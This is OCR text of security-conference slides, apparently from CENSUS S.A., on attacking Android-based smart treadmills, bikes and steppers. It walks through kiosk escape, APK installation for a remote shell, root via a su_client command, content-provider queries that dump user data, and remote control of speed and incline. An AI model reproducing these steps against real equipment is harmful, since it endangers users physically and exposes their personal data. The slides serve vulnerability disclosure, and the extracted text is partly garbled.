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> Fitness & Wellness Equipment

\
Fitness & Wellness Equipment v
Devices designed to promote theinglbf a user as Performance
n !
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the Fitness ecosystem nlth
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A Activity tracking
A cloud computing capabilities
A Real time interaction with other users

[ J
A Multimedia playback AL Posture
\

v
A High quality sensors #=p~ condition
-
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> Smart Fithess Equipment Features

Personalized A | S Activity
Training B : ) . Y= tracking

Social
Real time

Interaction
: with other
Multimedia e : - users
playback ' /4

Standart Workout Program

Example GUI

Modern Infotainment System
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> Information Security Attack Surface
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> Technology Tradeoffs

A Device Security: A matter of Business Ethics Vs
profits

Ol aj ~ e] caepkkael q_
| nkbep] "hael nk° q_pl

o A convenient solution: Adopt an existing ecosystem

(e.g. Android) and rely on its security controls.

o An awkward result:

A The adopted system is too generic.

A Custom apps introduced, lacking security, g
controls. <
A Circumvention of system security control= i\ |
achieve primary function (e.g. HW contrcg‘ :
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> Compliance

Typically vendors will only impleme
the security controls needed

to meet prmarket and pastarket
requirements.

A e.g. Safety Requirements

A How abo@ybersecurity
Requirements?
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> Cybersecurity for Smart Fithess Dev

ISO 12100:2010
P f i
i fé’(éul\‘ftgsﬁ_egy Risk Assessment
. for machinery TOO BROAD
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> Medical Devices & the Fithess Parac

AA treadmill can be
used fofithnessor
formedical
diagnosis and
therapy

Aln EU, the
manufacturer gets
declare the type!

Law Office Liicker
MD-Law

Dear Mr. Harrer

following legal opinion:

Is a treadmill ergometer sports equipment or a medical device?

Type of product according to the Medical Device Law (MPG)

You advise that you place "treadmills" on the market. You asked to re-confirm to which
category these treadmills are assigned to. To this end we would like to give the short

In addition diagnostic functions of a freadmill come into consideration. A medical
device is used for detection and meonitoring of disease and can be used for
examining a physiological process of the body. So treadmills used for siress
ECGs, ergometry, movement and gait analysis and sports medicine diagnostics
of lactate or heart rate analysis or in a study following any disease related state
of the body are also medical devices.

If a treadmill is used for af least also one or more of the above purposes, it is
mandatory that the product is categorised as a "medical device" according fo
section 3 no. 1 of the German Medical Devices Act MPG.

for products of
) Product Safety
nufactured and
ities" according
ch commodities
d or cosmetics
with the human

https:Mww.hpcosmos.dsites/default/files/uploads/documents/20130923 kanzlei luecker_medical _device
duct_classes _hpcosmos_treadmill_sport_medical_scan_4c.pdf
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> Cybersecurity for Smart Fithess Dev

Product Safety
e.g F2115
NO CYBERSECURITY HERE
HIPAA/HITECH
PATIENT DATA
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>Powered Treadmill Classification (US

A Powered Treadmills s Tesnde, fovie

Regulation Description Powered exercise equipment.

are Considered a Regulation Medical Specialty Physical Medicine

Review Panel Physical Medicine

CIaSS 1 Medlcal ::::drkfto::vhw e of Device Evaluation (ODE)

Division of rological and Physical Medicine Devices (DNPMD)

DeV|C$ (5) $ ] o k Qmmm%p‘ J C (;::r;g; :g;:%n?d Rehabilitation Devices Branch (PMDB)
Re 90,5380

FDA) —
Total Product Life Cycle (TPLC) TPLC P:

GMP Exempt? No

—Summany Malfunction
Reporting ey

A C I aSS 1 M e d | C al Note: FDA has exempted almost all class | devices (with the exception of reserved devices) from the

premarket notification requirement, including those devices that were exempted by final regulation published in
the Federal Registers of December 7, 1994, and January 16, 1996. It is important to confirm the exempt status

D evi ces aeexem pte d and any limitations that apply with 21 CFR Parts 862-892. Limitations of device exemptions are covered under

21 CFR XXX.9, where XXX refers to Parts 862-892.
If a manufacturer’s device falls into a generic category of exempted class | devices as defined in 21 CFR Parts
from premarket : : 4 '

. the U.S. however, these manufacturers are required to register their establishment. Please see the Device
Registration and Listing website for additional information.

cybersecurity e -

Life-Sustain/Support Device? No

p rOVI S I O n S I Third Party Review Not Third Party Eligible
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> Android Controlled Devices

A:j "nke ceoccajane °

A To control the environment provided by Android, vendors
typically follow one of two approaches:

o Integration with Mobile Device Management (MDM)
software
o Deployment of a Custom ROM
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>MDM Technologies

A set of technologiaessedin orderto administer
mobilelevicemtermsof.

A Deployment

A Security

A Auditing

A Policy enforcement '

Typicallsolutionsclude

A A client server architecture

A Features such dgle apps, Disable notifications,
Disable the status bar, silent install/uninstall

appsetc.
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> Custom Android ROMs

A AOSP Derived ROMs
o May include more / less features than stock Android

A The Manufacturer

Takes full responsibility for platform management and
maintenance

Has a constant oversight regarding possible
vulnerabilities

Should be able to resolve issues

Should be able to deliver updates in a safe way
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> Smart Fithess Device Stack

VENDOR

CUSTOM UI
AND APPS

hot Cp (B 1Y

VENDOR SUPPLIE
HARDWARE CONT
SOFTWARE

v1011000100110010
T

ANDROID

CENSUS S.A.
www.census-labs.com

DEVICE
HARDWAR

©



>THE CASE OF A POPULAR LINE OF
EQUIPMENT
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> Our case

A Examined devices

o A powered treadmill
o A bicycle (exercise bike)
o A stepper

A Device Vendo& world leader in the Fithess and

Wellness solutions

A Vendor name and the exact models will not be
disclosed
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> Our case

A We first stumbled upon these devi
during &ed Team assessment

I

A Vulnerabilities found iretigative
of the things that can go wrong with

anAndroidcontrolled fithess
device

A Some of these vulnerabilities wer
also shared with devices made by

other manufacturers
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> Device Ul

Select the exercise

Bluetooth

The user iIs given

9 @ @ n .
ORORO limited options

Ul Restrictions
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> Circumventing Ul Restrictions

Lkaegqebaer kqac!| oxj§
- Most common target in an MDM

solution
Supports plentyfurictionalities &
cannot beasilyprotected

Ul Restrictions
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> Circumventing Ul Restrictions

Lkaegebaeer kqgecl oa&”

- Most common target in an MDM
solution
Supports plentyfurictionalities &
cannot beasilyprotected
Easiest choicgtesent text and N =
datawithout extra software oo o B
- Almosalways exists in '
authentication formthat integrate
social networks

Ul Restrictions
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> Circumventing Ul Restrictions

Create a new === account User Login OptiOﬂS:

Not registered yet?

Connect with

ey A Create new

Account
Enter

Enteryour © %" account A Use an eXiSting

account
A Login using a
e Facebook

t) /\‘ gradient tTnTe STOP account
LJi— 0.0 + 00:54

Ul Restrictions
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> Circumventing Ul Restrictions #1

A Terms and Conditions / Privacy Policies are oftenainideausi

CONTINUE

Create a new account Privacy Policy

Email
Privacy Policy

pursuant to Articlo 13 of the Yersonal Data Protection Code ~ Legislative Decree No 196 of 30 June 2003 (hereinafter the “Privacy Code”)
Password
e the rules and guidelines applicable to reaarding the arocessing of your personal data given
ve registered to the Service (as detalled in the T provided theough the web portal smartphone and tablet apps of
through Internet-enabled oquipment

Name
shall operate as the data controller for the purposes listed under point 3 of this policy. However, cases may ocour when the. Operato

serve as the dato controller {as detailed in the Terms of Use) ane shall operate a5 the data manager pursuant to Article 29 of the Privacy Code, solely

providing techaol ervices to the Operator

Surname
Given that the Service Is provided directly by 8 company based in and governed by yout information and data shall be pracessed by
iccording to legistation transposing Directive 95/46/EC, |.e. the Privacy Code and Its subsequent amendments and supplements.

Date of birth (dd/MM/y)

1. Minors
Gender People under the age of 18 ("Minors”) may only use the Service under the supervision of the person holding parental authority over them (parents of uardians
Minors may o stor 10 the Service with consent from their parent(s) or guardion(s) (*Patental Consent’). Minos may register to the Service by providing the e
mail address of one of thelr parents of guardio all send an e-mail to this address ssking the parent of guardien 10 suthorise the Minoe's fegistration
Only anc onsent has been granted shall it be possible to collect the personal data of the Minoe who requested registration and 1o use the Service

Kknowingly collect any information or data on Minors and does not allow them to register without Parental Consent. If ) descovers that

speed gradient time speed

sTOP
0.0 + 02:50 3.0 +

Ul Restrictions
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> Circumventing Ul Restrictions #1

AHap#oclhkkkgcbknc] ¢

Privacy Policy Privacy Policy

Personal data is processed with automated means for the time necessary 10 achieve the purposes for which it was collected. Specific security measures are - Language: Englieh (Unfted Kingdom) * v

Implemented to prevent data loss, unlawful of inapprogriate use and unauthorised access.
|_INFORMATION ABOUT COOKIES

4. Cookies

Information on the cookies used by can be found a1 the followinflink - Cookies Policy

Introduction

5 Compulsory of optional nature of data provision and the

The provision of data

However, there sholl be no consequences if you do not 8gree 1o the processing of your non-ser data for the marketing purposes under point 3.d.
The processing for any profiling purposes Intended 1o send you the customised promotional communications under point 3. 2 is as optional as your provision of

consent. There shall be no consequences if you do not agree to this processing other than that standardised messages shall be sent to you = if you accept ~ that do
ot take into account your Service user profile

gradient me distance s gradient time distance speed
0 -"00+ 0354 ‘ 0.17 0O —-00 + 0450 oausE 021 — 30+ @2

Ul Restrictions
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> Circumventing Ul Restrictions #1

A Link traversal leads texaarnal site!
ADau( cpdana#oc¢c] c¢cCkkchachejgc

Privacy Policy Privacy Policy

Ul Restrictions
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> Circumventing Ul Restrictions #1

A Google logo provides accesartth engine
A The search engine can be used to dowaltEad P K!

Privacy Policy " Privacy Policy

Ul Restrictions
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> Circumventing Ul Restrictions #2

Create a new s '
Not registered yet?

A Alternate U escape
through Facebook

Ul Restrictions
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> Local File Manager Abuse

A AndroitivebVievend Web Browsans capable of triggering
activities on other installed apps

A A simple file upload form on the Web will make Android look for ins
file manager programs (i.e. the appropriate intent receivers)

‘ii http.//t o= - /upload.php
Se. Choose File | No file chosen

J

Ul Restrictions ‘Shell Access
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> Local File Manager Abuse

A File Manager found installed supported multiple actions, including
APK installation and execution

A The attack surface has now increased!

B agenta
-

- T
‘ Open
. Copy
(&) pelete
V. Move

-
OErm
g 2 7 2
3 &8 ¢ 3
4 & 3§ B

—_— —

distance = e 5) gradient
0220 —38+ ®LPEO O _00 +

23)
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> [nstalling a custom app for remote s
access

A Installation from unknown sowsaund enabled!

0% -3+ 02

STOP

distance speed — 3 gradient time
026 —38+ O PO O _To+ 04
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> Getting remote shell access

[*] Session 1 opened (& m. ®@localhost) (™= *= == =#:8080 <- &8 & H& §8:43535)
>> sessions
id user hostname platform release os arch proc arch intaty Ivl address tags

1 @ _m % localhost android 3.1.10 armv7l 32bit Medium == == == =55

o = E@ew#/system $ busvbox uname -ar
Linux localhost 3.1.10 #1 SMP PREEMPT Wed Nov 22 16:26:20 CET 2017 armv7|
GNU/Linux

Ul Restrictions Shell Access

CENSUS S.A. A
www.census-labs.com



> Privilege Escalation

A Vendor APKs communicatesbwsierver
service over Unix domain sockets in order
executprivilegeacommands

y

SUID
A Further Investigation ofsystemibin Service

directory revealed the presence of the binaries: l

o Su

o su_client(The Unix domain socket client) privileged

$./ su_client 'd>/  sdcard / status.txt "&& cat/ sdcard / status.txt
uid =0(root) gid =0(root) context=kernel

Ul Restrictions Shell Access
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> Privilege Escalation

A It was now possible to extract sensitive data:

o Private keys
o Firmware
o Domain Credentidisk n¢cpdacraj kn#oc¢ _ knl k

A Able taccess, interact and tamper wilie data and functionalities of other ¢

Extract thteaining data

Thepassworg k cpdacraj kn#ocbepjaoocgp
P d a ¢ Facedaokttaken

Change tleenfiguratiorof the training program

A How abobutrdware contré@l

Ul Restrictions Shell Access

CENSUS S.A.
www.census-labs.com




>GETTING HARDWARE CONTROL
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> Getting Hardware Control

A The Hi Kit: The Display

Board f \

[ —
Wireless
Board

CPU
Board

e S

Touch Contral | __

-| Touch Screen

LAN -
Board s

T e,
~-.._| IPod Docking

.--|TGS Dual Reader

UsBE

Station

TUNER

Hi Kit
(Display Board)

Speed
Joystick

Incline
Joystick

Sensors

Emergency

Stop Button

Ul Restrictions Shell Access
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> Getting Hardware Control

A The Hi Kit: The Display |
Board ’IB’?ard ]""L Touch Screen ) /"

“ _..-|TGS Dual Reader .
The Low Kit: The

e usB k.
CPU RSN RN

Inverter/Break board | e ) |

~— .
Station v
Y Emergency
Stop Button

TUNER
—

4 Limit

Hi Kit /\ Switch J

Di o

(Display Board) g —
f (2

/ .|Elevation

Hardware Control g Me——]
Low Kit

Board ool
(Board Driver) o Motor

Ul Restrictions Shell Access
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> Examination of the Android IPC and
Sharing in Hi Kit (Display board)

IPC in AOSP Data Sharing

Intents Services Broadcast Binder and Classic Unix: Internal  External Content
Receivers Messenger e.g. Shared Storage Storage Providers

Memory,

Sockets

CENSUS S.A. A
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> Controlling the Hardware through Hi

GPIO

A The hardware equipment is controlled: R }

o Through the custéandware e T
Abstraction Layer (HAL) |
component, and the CorrespondiM

app.

"\ SWITCH

'VBUS

Ul Restrictions Shell Access
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> Controlling the Hardware through Hi

GPIO

A The hardware equipment is controllgad:
o Through the custdandware el S
Abstraction Layer (HAL)
component, and the correspondn@s/J

'VBUS

app. F‘
Through tla¢tached USB

device (separate oroler |1 idaponr

"NFC

microcontrollerand the
corresponding app.

Ul Restrictions Shell Access
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> Controlling the Hardware through Hi

A The current state of the equipment Is
maintained in the Repository

A The Repository initializes shared

memory (Real Time Repository) epostony APK
(Real Time Repository)

Ul Restrictions Shell Access
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> Controlling the Hardware through Hi

A The current state of the equipment Is
maintained in the Repository

A The Repository initializes shared Binder |
memory (Real Time Repository) opostoyak |

A The state is accessible:
(Real Time Repository)

o Through exposed content ,
providers | ConentProvier |
o Using Binder and direct memory

operations

Ul Restrictions Shell Access
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> Controlling the Hardware through Hi

A There is also the possibility to initiate
actions by placing certain fil&$3B a
ﬂaSh dl’lve p Calibrate Touch

Screen

A Such actions include: sootpark .. ForceUss

Commands

Force a Reboot . OTA Updates
Force to Wipe Data Service Packs
Force Logcat Extreme

Force Entry to Configuration Menu

Enable ADB

Force FSCK

Force touch screen calibration

Force APK installation/removal

o
o
o
o
o
o
o)
o)

Ul Restrictions Shell Access
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>When you Press a Software Button

A Thédashboard/Custom Traininn -
APKupdates thHepository nder K },{,HW

through theontent provider et posacton || a7 V%8

Shared Memory

' "SWITCH
(Real Time Repository) N

'VBUS

TheRepositoryipdates the

Shared Memognd informs the r T@

External

Equipment APKsIng amtent

Protocol
'/USBGPIO
USB [ - Lowkit
. . . Controller [\>>~-~._
Theequipment APK informed s
through theerviceand sends the 1 i, Roader

. ) Reader
appropriate command to 82 s]‘

controller

Ul Restrictions Shell Access

CENSUS S.A. A
www.census-labs.com



>When you Press a Hardware Button

A Theequipment APteceives the _ o
action through th8B controllel e [ } How

Hardware Abstraction | .- USB

Layer APK

Shared Memory

A TheEquipment APipdates the | e Time Ropeet?
Repositoryhrough theontent

provider 0 .
Pm:;: GPIO
A Other AP KS (e . g . Equipment APK ontrofier :’.::_ - LowKi

\ "SWITCH

‘VBUS

.. “.‘\‘::j\f.li-ddleBoard
Dashboard/Custom Training L ke
Tas

APHK observe and interact on ﬁ Rosder

button changes using the con
provider iRepository

Ul Restrictions Shell Access
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>When you Press a Hardware Button

A TheRepositoryipdates the e oo
Shared Memomnd informs { } row

Hardware Abstraction | ___ .-~ USB

theEquipment APKSIing an e — Laver APK
Intent

~ T swiTcH
(Real Time Repository) N

'VBUS

TheEquipment APK 1 Exeral
informed through the servic /o aro
and sends the appropriate e N
command to ti&B e

. Reader

TGS

controller @ it
) ]

Ul Restrictions Shell Access
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> Fingerprinting the Device Type

A Acontent providecan be used to
obtain the equipment details.

$ content query --uri
content://com. i Bl s #s android. s
equipment. AUTHORITY/item

Ul Restrictions Shell Access

Row: 0 EQUIPMENT_SPEED=-1.0, OPERATINGDATA 3=20757,
SEAT_MOTOR_TARGET_POSITION=0, READY_TO_USE_ENABLED=true,
EQUIPMENT_DISTANCE=-1, LOGOUT_TIMEOUT=30000, EQUIPMENT_RPM=-1,
ERRORS _I=Error 01: Code=2 Ampere=72 Voltage=207 Km=119 YYYY/
MM/DD-hh:mm=2018/03/30-09:00, ERRORS_7=Error_07,
EQUIPMENT _INCLINE_INCREMENT=0.5, COMPLIANCE_CODES=14; 39; 50,
PARACHUTE_SIZE=0, EQUIPMENT REGENERATIVE=false,
OPERATINGDATA_1=1769, OPERATINGDATA 2=214,
EQUIPMENT _INCLINE_ForSystemBar=-1.0, IS_LOGIN_DEVICE_PRESENT=false, |
EQUIPMENT _INCLINE=-1, EQUIPMENT _INCLINE_MIN=0.0, ERRORS_9=Error 09,
DISABLE_UI=0, APPLEWATCH_COMPLIANCE=false, ERRORS_4=Error_04:
Code=5 Ampere=56  Voltage=23 Km=3 YYYY/MM/DD-
hh:mm=2018/03/21-19:53, EQUIPMENT_SPEED_MIN=0.4,
CALORIES_FROM _ . = =
: EQUIPMENT CODE=
RESET_DISTANCE_REQUEST=false, ERRORS 3= Error 03 Codc—.) Ampere=39
Voltage=93  Km=46 *
OPERATINGDATA_5=2(
START_MODE=-1, ERROR U=ErTor_ _o-Lcrror_uo: Code=5 Ampere=25
Voltage=224 Km=169 YYYY/MM/DD hh: mm—70l8’03/"l 18:14,
OPERATINGDATA_4=2077, EQUIPMENT _SPEED _MAX=20.0, DISPLAY_TYPE=2
ERRORS_5=Error 05: Code=5 Ampere=56  Voltage=23 Km=3 YYYY/
MM/DD-hh:mm=2018/03/21-18:21, UPLOADING_IN_PROGRESS=false,
CALORIES_FROM_WATCH_STS=-2, EQUIPMENT_EFFORT_LEVEL=-1,
EQUIPMENT_SPEED_ForSystemBar=-1.0, ERRORS_8=Error_08,
EQUIPMENT_STATUS=5, EQUIPMENT_FAMILY_ CODE=
HRBAND_AVAILABLE=false, AVERAGE_HR_FROM_WATCH=-2,
EQUIPMENT_SPM=-1, EQUIPMENT_HEARTRATE=-1, EQUIPMENT WATT=-1,
EQUIPMENT _INCLINE_MAX=15.0, ERRORS_2=Error_02: Code=5 Ampere=39
Voltage=133  Km=69 YYYY/MM/DD-hh:mm=2018/03/22-08:07

CENSUS S.A.
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> Fingerprinting the Device Type

A Acontent providecan be used to
obtain the equipment details.

A The obtaineduipment codean
be matched with the equipment
details found insaylite

databasen thesdcard

<equipmentData>

<gquipmentld> 5| ¥ = </equipmentld>
<modifiedOn=2018-02-28T16:20:45.186Z</modifiedOn=>

<specific_code> w </specific_code>

$ S q I iteS <family_code>14</family_code>

<generic_code>39</generic_code>

] i C . <generic_codes>14; 39; 50</generic_codes>
/sdcard /s valnry=/wsi Fe'singy==/1 iy “model-® g model-
<vo2Conv=1</vo2Conv=>

Reso urces. d b <pictureUrl=http://cdnmedia.re & /equipments/

W I - w/images/e 190 jpg</pictureUrl>
</equipmentData>

Ul Restrictions Shell Access
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> |dentifying a logged in User

A In a similar way, it Is possible 1
extract information regarding
the Facebook token and other
user information (age etc.)

$ content query --uri
content://com. ks bmasgrm. android. s,
user. AUTHORITY

w: 0 USER_BIRTHDAY=, USER_PICTURE_URL=http://
com/users/photo/c5e18eb6-2ef8-4bc3-8b74-

elc1d18959%ae.jpg. APPS_USERID=2{85aa22- 1d78-4060-9b10-
ead2471815f3, LOGIN_MODE=1,
USER_BODYWEIGHT LASTUPDATE=. USER_SURNAME=Stais,
USER_MAX HEART RATE=188, CONNECTED=false,
USER_BODYWEIGHT=7 1.0, USER_AGE=28,
USER_BIRTHDAY DAY=19, UNIT MEASURE SYSTEM=1,

CIRCUIT_AUTOMATICLOGIN_USERID=, USER_CULTURE=en-GB,
USER_FAV CHANNEL=, FAV_BT ACCESSOR Y=0,
FAV_BTLE ACCESSORY=0, ACCOUNT_TYPE=Il, USER_GENDER=I,
USER_PICTURE=1, USER_FAV_VOLUME=, USER_LANGUAGE=2,
HAS === = ==K EY=false, OFFLINE USERID=,
FAV_ENTERTAINMENT=, SESSION_ID=, USER_VO02_MAX=-1,
USER_LEVEL OF_EXPERTISE=, USER_BIRTHDAY MONTH=9,

{CIRCUIT_AUTOMATICLOGIN_USERTOKEN=,

USER _NICKNAME=ioannis.stais, USER_NAME=Giannis

Ul Restrictions Shell Access
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> Remotely Controlling Speed and Incl

A Again, eontent providecan be
used to simulate a button activity.
The receiver would be the
Repository
It would resemble an action
received from tH&B hardware
Example below triggers joystick
action for speed increase

Ul Restrictions Shell Access
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